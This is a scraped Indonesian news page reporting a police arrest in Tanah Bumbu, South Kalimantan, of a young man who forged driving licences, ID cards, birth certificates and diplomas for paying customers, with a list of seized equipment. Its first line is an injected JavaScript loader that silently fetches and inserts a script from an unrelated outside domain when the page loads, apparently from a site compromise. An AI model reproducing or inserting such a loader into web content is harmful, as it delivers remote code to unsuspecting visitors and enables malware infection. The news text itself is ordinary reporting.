(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

‘Layanan’ Cetak SIM, KTP hingga Akta Kelahiran Abal-abal, Pemuda di Batulicin Dibekuk Polisi


KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Simpang Empat, Kabupaten Tanah Bumbu, Kalimantan Selatan menangkap seorang pemuda berinisial FA (28) atas dugaan pemalsuan dokumen.

Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas Polres Tanah Bumbu AKP I Made Rasa mengungkapkan bahwa pelaku telah melakukan pemalsuan berbagai dokumen mulai dari Surat Izin Mengemudi (SIM), Kartu Tanda Penduduk (KTP) hingga akta kelahiran dan surat-surat lainnya.

Berdasarkan informasi dari masyarakat, pelaku sering menawarkan jasanya melalui media sosial untuk membuat atau mencetak KTP dan surat-surat lainnya secara ilegal demi keuntungan pribadi.

Setelah mendapat pesanan melalui WA (WhatsApp), pelaku kemudian membuat surat sesuai dengan pesanan dengan nominal harga yang bervariasi sesuai dokumen atau surat-surat yang ingin dicetak.

 

 

Baca juga: Kronologi Perempuan Pengendara Honda Beat Tewas di Depan Taman Van der Pijl Banjarbaru, Motor Hilang Kendali, Kepala Terlindas Bus

“Atas adanya informasi dari masyarakat, yang ditindaklanjuti oleh Unit Reskrim Polsek Simpang Empat, dimana petugas melakukan penyelidikan dan pada Jumat 29 Juli 2022 sekitar pukul sepuluh, petugas menangkap pelaku FA yang diduga melakukan tindak pidana pemalsuan surat,” kata AKP Made.

Pelaku diketahui seorang karyawan swasta itu ditangkap di Jalan Amandit RT 001, Desa Baroqah, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu, kemudian dibawa ke rumahnya di Jalan Transmigrasi, Perumahan Plajau Indah RT 06, Desa Baroqah, Kecamatan Simpang Empat.

Di kediaman pelaku, polisi menyita sejumlah barang bukti yang digunakan pelaku untuk memalsukan dokumen seperti satu buah laptop merk Lenovo warna hitam, satu printer merk Epson L3110 warna hitam, dua lembar Sim BII umum palsu, satu lembar KTP palsu, 48 lembar blangko KTP palsu, 90 lembar blangko kosong SIM dan NPWP, 62 lembar blangko Kartu Keluarga (KK), 43 lembar blangko kosong akta kelahiran, 5 lembar ijazah palsu, satu pak plastik tranparan sticker, 4 botol tinta print merk Epson serta satu buah HP merk Oppo warna putih metalik.

Untuk mempertanggungjawabkan perbuatannya, pelaku bersama barang bukti kemudian dibawa ke Mapolres Tanah Bumbu untuk menjalani proses hukum lebih lanjut dan terancam dijerat dengan tindak pidana pemalsuan surat sebagaimana yang dimaksud dalam Pasal 263 ayat (1) KUHP dengan ancaman hukuman maksimal 6 tahun penjara.(Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

2 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

2 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

3 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

3 jam ago

This website uses cookies.